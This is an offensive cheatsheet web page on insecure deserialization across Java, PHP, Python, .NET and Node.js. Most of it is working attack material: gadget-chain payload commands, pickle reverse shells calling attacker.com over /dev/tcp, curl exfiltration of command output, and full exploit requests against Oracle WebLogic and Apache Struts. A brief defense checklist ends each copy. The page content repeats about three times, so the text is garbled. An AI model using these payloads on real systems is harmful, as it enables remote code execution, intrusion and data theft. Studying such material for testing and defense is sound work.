Insecure Deserialization Cheatsheet: Java, PHP, Python, .NET — Gadget Chains to RCE
Thu May 28 2026
Category: Cheatsheet
Related: Prototype Pollution is a JavaScript deserialization-adjacent attack. See Prototype Pollution to RCE for Node.js gadget chains.
Java Deserialization
Detection
# Java serialized objects start with magic bytes: AC ED 00 05
# In base64: rO0AB...
# In hex: ac ed 00 05
# Check cookies, POST bodies, request parameters for:
echo "rO0ABX..." | base64 -d | xxd | head -1
# → 00000000: aced 0005 ← Java serialized object
# HTTP headers to check:
Cookie: session=rO0ABXNy...
X-Rce-Me: rO0AB...
viewstate=rO0AB...
ysoserial — Gadget Chain Generator
# Download: https://github.com/frohoff/ysoserial
# Generate payload for each gadget chain
java -jar ysoserial.jar CommonsCollections1 'id' | base64
java -jar ysoserial.jar CommonsCollections2 'id' | base64
java -jar ysoserial.jar CommonsCollections3 'id' | base64
java -jar ysoserial.jar CommonsCollections4 'id' | base64
java -jar ysoserial.jar CommonsCollections5 'id' | base64
java -jar ysoserial.jar CommonsCollections6 'id' | base64
java -jar ysoserial.jar CommonsCollections7 'id' | base64
# Spring gadget chains
java -jar ysoserial.jar Spring1 'id' | base64
java -jar ysoserial.jar Spring2 'id' | base64
# Other common chains
java -jar ysoserial.jar BeanShell1 'id' | base64
java -jar ysoserial.jar Clojure 'id' | base64
java -jar ysoserial.jar Groovy1 'id' | base64
java -jar ysoserial.jar Hibernate1 'id' | base64
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' | base64 # JRMP listener
java -jar ysoserial.jar URLDNS 'http://attacker.com' | base64 # DNS-only (blind detection)
# Reverse shell
java -jar ysoserial.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash' \
| base64 -w 0
Testing Gadget Chains
# Blind detection via DNS (URLDNS chain — no gadget dependency)
PAYLOAD=$(java -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net' | base64 -w 0)
curl -s https://target.com/api/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary "$(echo $PAYLOAD | base64 -d)"
# If DNS hit received → deserialization confirmed
# Then try each CC gadget for RCE
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 Spring1 Spring2; do
echo "[*] Trying $gadget..."
PAYLOAD=$(java -jar ysoserial.jar $gadget 'curl http://attacker.com/?g='$gadget | base64 -w 0)
curl -s https://target.com/api/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary "$(echo $PAYLOAD | base64 -d)"
done
PHP Object Injection
Magic Methods Used in Gadgets
__construct() // on new
__destruct() // on destroy
__wakeup() // on unserialize()
__sleep() // on serialize()
__toString() // on string cast
__invoke() // on function call
__call() // on undefined method
__get() // on property access
__set() // on property write
__isset() // on isset()
__unset() // on unset()
Basic PHP Unserialize Injection
<?php
class Example {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
// Craft object
$obj = new Example();
$obj->cmd = "id";
echo serialize($obj);
// O:7:"Example":1:{s:3:"cmd";s:2:"id";}
?>
# Inject serialized payload into cookie
curl -b 'data=O:7:"Example":1:{s:3:"cmd";s:2:"id";}' https://target.com/
PHPGGC — PHP Gadget Chain Generator
# Download: https://github.com/ambionics/phpggc
# List available gadget chains
php phpggc -l
# Generate for common frameworks
php phpggc Laravel/RCE1 system id
php phpggc Laravel/RCE2 system "curl http://attacker.com/$(id)"
php phpggc Symfony/RCE1 system id
php phpggc Symfony/RCE4 system id
php phpggc Slim/RCE1 system id
php phpggc Drupal7/RCE1 system id
php phpggc Magento/RCE1 system id
php phpggc Yii/RCE1 system id
php phpggc WordPress/RCE1 system id
php phpggc Guzzle/RCE1 system id
# With base64 encoding
php phpggc -b Laravel/RCE1 system id
# With JSON
php phpggc -j Laravel/RCE1 system id
Phar Deserialization
Trigger PHP deserialization by accessing a PHAR archive via any file function:
<?php
// Create malicious phar
class MaliciousClass {
function __destruct() { system('id'); }
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new MaliciousClass();
$phar->setMetadata($obj);
$phar->stopBuffering();
// Rename to bypass extension check: exploit.jpg
rename('exploit.phar', 'exploit.jpg');
?>
# Trigger: any stream wrapper that calls file_exists, fopen, etc.
file_exists('phar:///uploads/exploit.jpg');
Python Pickle RCE
Pickle deserialization executes arbitrary code via __reduce__:
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Serialize
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Or with reverse shell
class Exploit:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Submit to endpoint that calls pickle.loads(base64.b64decode(input))
Custom __reduce__ with exec
import pickle, base64
code = b"""
import subprocess
subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/attacker.com/4444 0>&1'])
"""
payload = pickle.dumps({"__reduce__": (exec, (code,))})
# ... or directly:
class Exploit(object):
def __reduce__(self):
return (exec, ("import os; os.system('id')",))
.NET ViewState Deserialization
# ViewState is base64+encrypted in modern ASP.NET
# If __VIEWSTATEGENERATOR is predictable or machine key is known:
# ysoserial.net — .NET gadget chain generator
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -e <base64_payload>" \
--path="/vulnerable-page.aspx" \
--apppath="/" \
--decryptionalg="AES" \
--decryptionkey="<machine_key_decryption>" \
--validationalg="SHA1" \
--validationkey="<machine_key_validation>"
# Submit as __VIEWSTATE parameter
Node.js — node-serialize
// Vulnerable code: unserialize(JSON.parse(cookie))
// Exploit: IIFE in serialized function
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id', function(err, stdout, stderr) { console.log(stdout); });}()"
}
// Base64 encode and set as cookie
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2015-4852 | 2015 | Oracle WebLogic | Java deserialization → RCE, CommonsCollections |
| CVE-2017-5638 | 2017 | Apache Struts (Equifax) | OGNL deserialization → RCE → 147M records stolen |
| CVE-2019-2725 | 2019 | Oracle WebLogic | Java deserialization → unauthenticated RCE |
| CVE-2020-14882 | 2020 | Oracle WebLogic | Auth bypass + deserialization → RCE |
| CVE-2021-44228 (Log4Shell) | 2021 | Apache Log4j | JNDI deserialization → RCE |
| CVE-2022-42889 (Text4Shell) | 2022 | Apache Commons Text | String interpolation deserialization |
| Jenkins RCE | 2016 | Jenkins | Java deserialization in CLI → unauthenticated RCE |
Example: CVE-2019-2725 — Oracle WebLogic Deserialization
# Unauthenticated RCE via /_async/AsyncResponseService WSDL endpoint
# Step 1: Generate payload
java -jar ysoserial.jar CommonsCollections1 \
'curl http://attacker.com/$(whoami)' | xxd -p | tr -d '\n' > payload.hex
# Step 2: Exploit via WSDL injection
curl -s -X POST http://target:7001/_async/AsyncResponseService \
-H "Content-Type: text/xml;charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>curl http://attacker.com/$(id)</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
Example: Python Pickle RCE — CTF / Bug Bounty
# Target: Flask app deserializes base64 cookie with pickle
# Step 1: Craft payload
python3 -c "
import pickle, base64, os
class E(object):
def __reduce__(self): return (os.system, ('curl http://attacker.com/\$(id)',))
print(base64.b64encode(pickle.dumps(E())).decode())
" > payload.b64
# Step 2: Set as cookie
curl -b "session=$(cat payload.b64)" https://target.com/
Example: Equifax Breach (CVE-2017-5638) — Struts2 RCE
# Content-Type header contains OGNL expression
curl -s -X POST https://target.com/struts2/ \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{..}{"..",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'
Tools
# ysoserial — Java
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
# phpggc — PHP
php phpggc -l # list chains
php phpggc Laravel/RCE1 system id | base64
# ysoserial.net — .NET
ysoserial.exe -l # list gadgets
# JNDI-Exploit-Kit — Log4Shell
java -jar JNDI-Exploit-Kit.jar -C "id" -A attacker.com
# Burp Deserialization Scanner extension
Defense Checklist
- Never deserialize untrusted data
- Use allowlists for deserializable classes (Java
ObjectInputStreamoverride) - Avoid pickle/marshal/yaml.load for user-supplied data in Python
- Prefer data-only formats (JSON) over serialization formats
- Sign serialized data with HMAC to prevent tampering
- Keep dependencies updated — gadget chains rely on vulnerable library versions
- Use Java Security Manager to restrict what deserialized code can do
References
Related: Prototype Pollution is a JavaScript deserialization-adjacent attack. See Prototype Pollution to RCE for Node.js gadget chains.
Java Deserialization
Detection
# Java serialized objects start with magic bytes: AC ED 00 05
# In base64: rO0AB...
# In hex: ac ed 00 05
# Check cookies, POST bodies, request parameters for:
echo "rO0ABX..." | base64 -d | xxd | head -1
# → 00000000: aced 0005 ← Java serialized object
# HTTP headers to check:
Cookie: session=rO0ABXNy...
X-Rce-Me: rO0AB...
viewstate=rO0AB...
ysoserial — Gadget Chain Generator
# Download: https://github.com/frohoff/ysoserial
# Generate payload for each gadget chain
java -jar ysoserial.jar CommonsCollections1 'id' | base64
java -jar ysoserial.jar CommonsCollections2 'id' | base64
java -jar ysoserial.jar CommonsCollections3 'id' | base64
java -jar ysoserial.jar CommonsCollections4 'id' | base64
java -jar ysoserial.jar CommonsCollections5 'id' | base64
java -jar ysoserial.jar CommonsCollections6 'id' | base64
java -jar ysoserial.jar CommonsCollections7 'id' | base64
# Spring gadget chains
java -jar ysoserial.jar Spring1 'id' | base64
java -jar ysoserial.jar Spring2 'id' | base64
# Other common chains
java -jar ysoserial.jar BeanShell1 'id' | base64
java -jar ysoserial.jar Clojure 'id' | base64
java -jar ysoserial.jar Groovy1 'id' | base64
java -jar ysoserial.jar Hibernate1 'id' | base64
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' | base64 # JRMP listener
java -jar ysoserial.jar URLDNS 'http://attacker.com' | base64 # DNS-only (blind detection)
# Reverse shell
java -jar ysoserial.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash' \
| base64 -w 0
Testing Gadget Chains
# Blind detection via DNS (URLDNS chain — no gadget dependency)
PAYLOAD=$(java -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net' | base64 -w 0)
curl -s https://target.com/api/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary "$(echo $PAYLOAD | base64 -d)"
# If DNS hit received → deserialization confirmed
# Then try each CC gadget for RCE
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 Spring1 Spring2; do
echo "[*] Trying $gadget..."
PAYLOAD=$(java -jar ysoserial.jar $gadget 'curl http://attacker.com/?g='$gadget | base64 -w 0)
curl -s https://target.com/api/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary "$(echo $PAYLOAD | base64 -d)"
done
PHP Object Injection
Magic Methods Used in Gadgets
__construct() // on new
__destruct() // on destroy
__wakeup() // on unserialize()
__sleep() // on serialize()
__toString() // on string cast
__invoke() // on function call
__call() // on undefined method
__get() // on property access
__set() // on property write
__isset() // on isset()
__unset() // on unset()
Basic PHP Unserialize Injection
<?php
class Example {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
// Craft object
$obj = new Example();
$obj->cmd = "id";
echo serialize($obj);
// O:7:"Example":1:{s:3:"cmd";s:2:"id";}
?>
# Inject serialized payload into cookie
curl -b 'data=O:7:"Example":1:{s:3:"cmd";s:2:"id";}' https://target.com/
PHPGGC — PHP Gadget Chain Generator
# Download: https://github.com/ambionics/phpggc
# List available gadget chains
php phpggc -l
# Generate for common frameworks
php phpggc Laravel/RCE1 system id
php phpggc Laravel/RCE2 system "curl http://attacker.com/$(id)"
php phpggc Symfony/RCE1 system id
php phpggc Symfony/RCE4 system id
php phpggc Slim/RCE1 system id
php phpggc Drupal7/RCE1 system id
php phpggc Magento/RCE1 system id
php phpggc Yii/RCE1 system id
php phpggc WordPress/RCE1 system id
php phpggc Guzzle/RCE1 system id
# With base64 encoding
php phpggc -b Laravel/RCE1 system id
# With JSON
php phpggc -j Laravel/RCE1 system id
Phar Deserialization
Trigger PHP deserialization by accessing a PHAR archive via any file function:
<?php
// Create malicious phar
class MaliciousClass {
function __destruct() { system('id'); }
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new MaliciousClass();
$phar->setMetadata($obj);
$phar->stopBuffering();
// Rename to bypass extension check: exploit.jpg
rename('exploit.phar', 'exploit.jpg');
?>
# Trigger: any stream wrapper that calls file_exists, fopen, etc.
file_exists('phar:///uploads/exploit.jpg');
Python Pickle RCE
Pickle deserialization executes arbitrary code via __reduce__:
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Serialize
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Or with reverse shell
class Exploit:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Submit to endpoint that calls pickle.loads(base64.b64decode(input))
Custom __reduce__ with exec
import pickle, base64
code = b"""
import subprocess
subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/attacker.com/4444 0>&1'])
"""
payload = pickle.dumps({"__reduce__": (exec, (code,))})
# ... or directly:
class Exploit(object):
def __reduce__(self):
return (exec, ("import os; os.system('id')",))
.NET ViewState Deserialization
# ViewState is base64+encrypted in modern ASP.NET
# If __VIEWSTATEGENERATOR is predictable or machine key is known:
# ysoserial.net — .NET gadget chain generator
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -e <base64_payload>" \
--path="/vulnerable-page.aspx" \
--apppath="/" \
--decryptionalg="AES" \
--decryptionkey="<machine_key_decryption>" \
--validationalg="SHA1" \
--validationkey="<machine_key_validation>"
# Submit as __VIEWSTATE parameter
Node.js — node-serialize
// Vulnerable code: unserialize(JSON.parse(cookie))
// Exploit: IIFE in serialized function
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id', function(err, stdout, stderr) { console.log(stdout); });}()"
}
// Base64 encode and set as cookie
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2015-4852 | 2015 | Oracle WebLogic | Java deserialization → RCE, CommonsCollections |
| CVE-2017-5638 | 2017 | Apache Struts (Equifax) | OGNL deserialization → RCE → 147M records stolen |
| CVE-2019-2725 | 2019 | Oracle WebLogic | Java deserialization → unauthenticated RCE |
| CVE-2020-14882 | 2020 | Oracle WebLogic | Auth bypass + deserialization → RCE |
| CVE-2021-44228 (Log4Shell) | 2021 | Apache Log4j | JNDI deserialization → RCE |
| CVE-2022-42889 (Text4Shell) | 2022 | Apache Commons Text | String interpolation deserialization |
| Jenkins RCE | 2016 | Jenkins | Java deserialization in CLI → unauthenticated RCE |
Example: CVE-2019-2725 — Oracle WebLogic Deserialization
# Unauthenticated RCE via /_async/AsyncResponseService WSDL endpoint
# Step 1: Generate payload
java -jar ysoserial.jar CommonsCollections1 \
'curl http://attacker.com/$(whoami)' | xxd -p | tr -d '\n' > payload.hex
# Step 2: Exploit via WSDL injection
curl -s -X POST http://target:7001/_async/AsyncResponseService \
-H "Content-Type: text/xml;charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>curl http://attacker.com/$(id)</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
Example: Python Pickle RCE — CTF / Bug Bounty
# Target: Flask app deserializes base64 cookie with pickle
# Step 1: Craft payload
python3 -c "
import pickle, base64, os
class E(object):
def __reduce__(self): return (os.system, ('curl http://attacker.com/\$(id)',))
print(base64.b64encode(pickle.dumps(E())).decode())
" > payload.b64
# Step 2: Set as cookie
curl -b "session=$(cat payload.b64)" https://target.com/
Example: Equifax Breach (CVE-2017-5638) — Struts2 RCE
# Content-Type header contains OGNL expression
curl -s -X POST https://target.com/struts2/ \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{..}{"..",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'
Tools
# ysoserial — Java
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
# phpggc — PHP
php phpggc -l # list chains
php phpggc Laravel/RCE1 system id | base64
# ysoserial.net — .NET
ysoserial.exe -l # list gadgets
# JNDI-Exploit-Kit — Log4Shell
java -jar JNDI-Exploit-Kit.jar -C "id" -A attacker.com
# Burp Deserialization Scanner extension
Defense Checklist
- Never deserialize untrusted data
- Use allowlists for deserializable classes (Java
ObjectInputStreamoverride) - Avoid pickle/marshal/yaml.load for user-supplied data in Python
- Prefer data-only formats (JSON) over serialization formats
- Sign serialized data with HMAC to prevent tampering
- Keep dependencies updated — gadget chains rely on vulnerable library versions
- Use Java Security Manager to restrict what deserialized code can do
References
- PortSwigger Deserialization Labs
- ysoserial GitHub
- phpggc GitHub
- PayloadsAllTheThings Deserialization
- Related on this site: Prototype Pollution to RCE — Node.js Gadget Chains
Related: Prototype Pollution is a JavaScript deserialization-adjacent attack. See Prototype Pollution to RCE for Node.js gadget chains.
Java Deserialization
Detection
# Java serialized objects start with magic bytes: AC ED 00 05
# In base64: rO0AB...
# In hex: ac ed 00 05
# Check cookies, POST bodies, request parameters for:
echo "rO0ABX..." | base64 -d | xxd | head -1
# → 00000000: aced 0005 ← Java serialized object
# HTTP headers to check:
Cookie: session=rO0ABXNy...
X-Rce-Me: rO0AB...
viewstate=rO0AB...
ysoserial — Gadget Chain Generator
# Download: https://github.com/frohoff/ysoserial
# Generate payload for each gadget chain
java -jar ysoserial.jar CommonsCollections1 'id' | base64
java -jar ysoserial.jar CommonsCollections2 'id' | base64
java -jar ysoserial.jar CommonsCollections3 'id' | base64
java -jar ysoserial.jar CommonsCollections4 'id' | base64
java -jar ysoserial.jar CommonsCollections5 'id' | base64
java -jar ysoserial.jar CommonsCollections6 'id' | base64
java -jar ysoserial.jar CommonsCollections7 'id' | base64
# Spring gadget chains
java -jar ysoserial.jar Spring1 'id' | base64
java -jar ysoserial.jar Spring2 'id' | base64
# Other common chains
java -jar ysoserial.jar BeanShell1 'id' | base64
java -jar ysoserial.jar Clojure 'id' | base64
java -jar ysoserial.jar Groovy1 'id' | base64
java -jar ysoserial.jar Hibernate1 'id' | base64
java -jar ysoserial.jar JRMPClient 'attacker.com:1099' | base64 # JRMP listener
java -jar ysoserial.jar URLDNS 'http://attacker.com' | base64 # DNS-only (blind detection)
# Reverse shell
java -jar ysoserial.jar CommonsCollections1 \
'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash' \
| base64 -w 0
Testing Gadget Chains
# Blind detection via DNS (URLDNS chain — no gadget dependency)
PAYLOAD=$(java -jar ysoserial.jar URLDNS 'http://attacker.burpcollaborator.net' | base64 -w 0)
curl -s https://target.com/api/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary "$(echo $PAYLOAD | base64 -d)"
# If DNS hit received → deserialization confirmed
# Then try each CC gadget for RCE
for gadget in CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 Spring1 Spring2; do
echo "[*] Trying $gadget..."
PAYLOAD=$(java -jar ysoserial.jar $gadget 'curl http://attacker.com/?g='$gadget | base64 -w 0)
curl -s https://target.com/api/endpoint \
-H "Content-Type: application/x-java-serialized-object" \
--data-binary "$(echo $PAYLOAD | base64 -d)"
done
PHP Object Injection
Magic Methods Used in Gadgets
__construct() // on new
__destruct() // on destroy
__wakeup() // on unserialize()
__sleep() // on serialize()
__toString() // on string cast
__invoke() // on function call
__call() // on undefined method
__get() // on property access
__set() // on property write
__isset() // on isset()
__unset() // on unset()
Basic PHP Unserialize Injection
<?php
class Example {
public $cmd;
function __destruct() {
system($this->cmd);
}
}
// Craft object
$obj = new Example();
$obj->cmd = "id";
echo serialize($obj);
// O:7:"Example":1:{s:3:"cmd";s:2:"id";}
?>
# Inject serialized payload into cookie
curl -b 'data=O:7:"Example":1:{s:3:"cmd";s:2:"id";}' https://target.com/
PHPGGC — PHP Gadget Chain Generator
# Download: https://github.com/ambionics/phpggc
# List available gadget chains
php phpggc -l
# Generate for common frameworks
php phpggc Laravel/RCE1 system id
php phpggc Laravel/RCE2 system "curl http://attacker.com/$(id)"
php phpggc Symfony/RCE1 system id
php phpggc Symfony/RCE4 system id
php phpggc Slim/RCE1 system id
php phpggc Drupal7/RCE1 system id
php phpggc Magento/RCE1 system id
php phpggc Yii/RCE1 system id
php phpggc WordPress/RCE1 system id
php phpggc Guzzle/RCE1 system id
# With base64 encoding
php phpggc -b Laravel/RCE1 system id
# With JSON
php phpggc -j Laravel/RCE1 system id
Phar Deserialization
Trigger PHP deserialization by accessing a PHAR archive via any file function:
<?php
// Create malicious phar
class MaliciousClass {
function __destruct() { system('id'); }
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$obj = new MaliciousClass();
$phar->setMetadata($obj);
$phar->stopBuffering();
// Rename to bypass extension check: exploit.jpg
rename('exploit.phar', 'exploit.jpg');
?>
# Trigger: any stream wrapper that calls file_exists, fopen, etc.
file_exists('phar:///uploads/exploit.jpg');
Python Pickle RCE
Pickle deserialization executes arbitrary code via __reduce__:
import pickle, os, base64
class RCE:
def __reduce__(self):
return (os.system, ('id',))
# Serialize
payload = pickle.dumps(RCE())
print(base64.b64encode(payload).decode())
# Or with reverse shell
class Exploit:
def __reduce__(self):
cmd = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
return (os.system, (cmd,))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
# Submit to endpoint that calls pickle.loads(base64.b64decode(input))
Custom __reduce__ with exec
import pickle, base64
code = b"""
import subprocess
subprocess.Popen(['bash','-c','bash -i >& /dev/tcp/attacker.com/4444 0>&1'])
"""
payload = pickle.dumps({"__reduce__": (exec, (code,))})
# ... or directly:
class Exploit(object):
def __reduce__(self):
return (exec, ("import os; os.system('id')",))
.NET ViewState Deserialization
# ViewState is base64+encrypted in modern ASP.NET
# If __VIEWSTATEGENERATOR is predictable or machine key is known:
# ysoserial.net — .NET gadget chain generator
ysoserial.exe -p ViewState -g TextFormattingRunProperties \
-c "powershell -e <base64_payload>" \
--path="/vulnerable-page.aspx" \
--apppath="/" \
--decryptionalg="AES" \
--decryptionkey="<machine_key_decryption>" \
--validationalg="SHA1" \
--validationkey="<machine_key_validation>"
# Submit as __VIEWSTATE parameter
Node.js — node-serialize
// Vulnerable code: unserialize(JSON.parse(cookie))
// Exploit: IIFE in serialized function
{
"rce": "_$$ND_FUNC$$_function(){require('child_process').exec('id', function(err, stdout, stderr) { console.log(stdout); });}()"
}
// Base64 encode and set as cookie
Real-World Examples
| CVE / Incident | Year | Product | Impact |
|---|---|---|---|
| CVE-2015-4852 | 2015 | Oracle WebLogic | Java deserialization → RCE, CommonsCollections |
| CVE-2017-5638 | 2017 | Apache Struts (Equifax) | OGNL deserialization → RCE → 147M records stolen |
| CVE-2019-2725 | 2019 | Oracle WebLogic | Java deserialization → unauthenticated RCE |
| CVE-2020-14882 | 2020 | Oracle WebLogic | Auth bypass + deserialization → RCE |
| CVE-2021-44228 (Log4Shell) | 2021 | Apache Log4j | JNDI deserialization → RCE |
| CVE-2022-42889 (Text4Shell) | 2022 | Apache Commons Text | String interpolation deserialization |
| Jenkins RCE | 2016 | Jenkins | Java deserialization in CLI → unauthenticated RCE |
Example: CVE-2019-2725 — Oracle WebLogic Deserialization
# Unauthenticated RCE via /_async/AsyncResponseService WSDL endpoint
# Step 1: Generate payload
java -jar ysoserial.jar CommonsCollections1 \
'curl http://attacker.com/$(whoami)' | xxd -p | tr -d '\n' > payload.hex
# Step 2: Exploit via WSDL injection
curl -s -X POST http://target:7001/_async/AsyncResponseService \
-H "Content-Type: text/xml;charset=UTF-8" \
-H "SOAPAction: \"\"" \
-d '<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0"><string>/bin/bash</string></void>
<void index="1"><string>-c</string></void>
<void index="2"><string>curl http://attacker.com/$(id)</string></void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>'
Example: Python Pickle RCE — CTF / Bug Bounty
# Target: Flask app deserializes base64 cookie with pickle
# Step 1: Craft payload
python3 -c "
import pickle, base64, os
class E(object):
def __reduce__(self): return (os.system, ('curl http://attacker.com/\$(id)',))
print(base64.b64encode(pickle.dumps(E())).decode())
" > payload.b64
# Step 2: Set as cookie
curl -b "session=$(cat payload.b64)" https://target.com/
Example: Equifax Breach (CVE-2017-5638) — Struts2 RCE
# Content-Type header contains OGNL expression
curl -s -X POST https://target.com/struts2/ \
-H 'Content-Type: %{(#_="multipart/form-data").(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd="id").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{..}{"..",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}'
Tools
# ysoserial — Java
java -jar ysoserial.jar CommonsCollections1 'id' > payload.bin
# phpggc — PHP
php phpggc -l # list chains
php phpggc Laravel/RCE1 system id | base64
# ysoserial.net — .NET
ysoserial.exe -l # list gadgets
# JNDI-Exploit-Kit — Log4Shell
java -jar JNDI-Exploit-Kit.jar -C "id" -A attacker.com
# Burp Deserialization Scanner extension
Defense Checklist
- Never deserialize untrusted data
- Use allowlists for deserializable classes (Java
ObjectInputStreamoverride) - Avoid pickle/marshal/yaml.load for user-supplied data in Python
- Prefer data-only formats (JSON) over serialization formats
- Sign serialized data with HMAC to prevent tampering
- Keep dependencies updated — gadget chains rely on vulnerable library versions
- Use Java Security Manager to restrict what deserialized code can do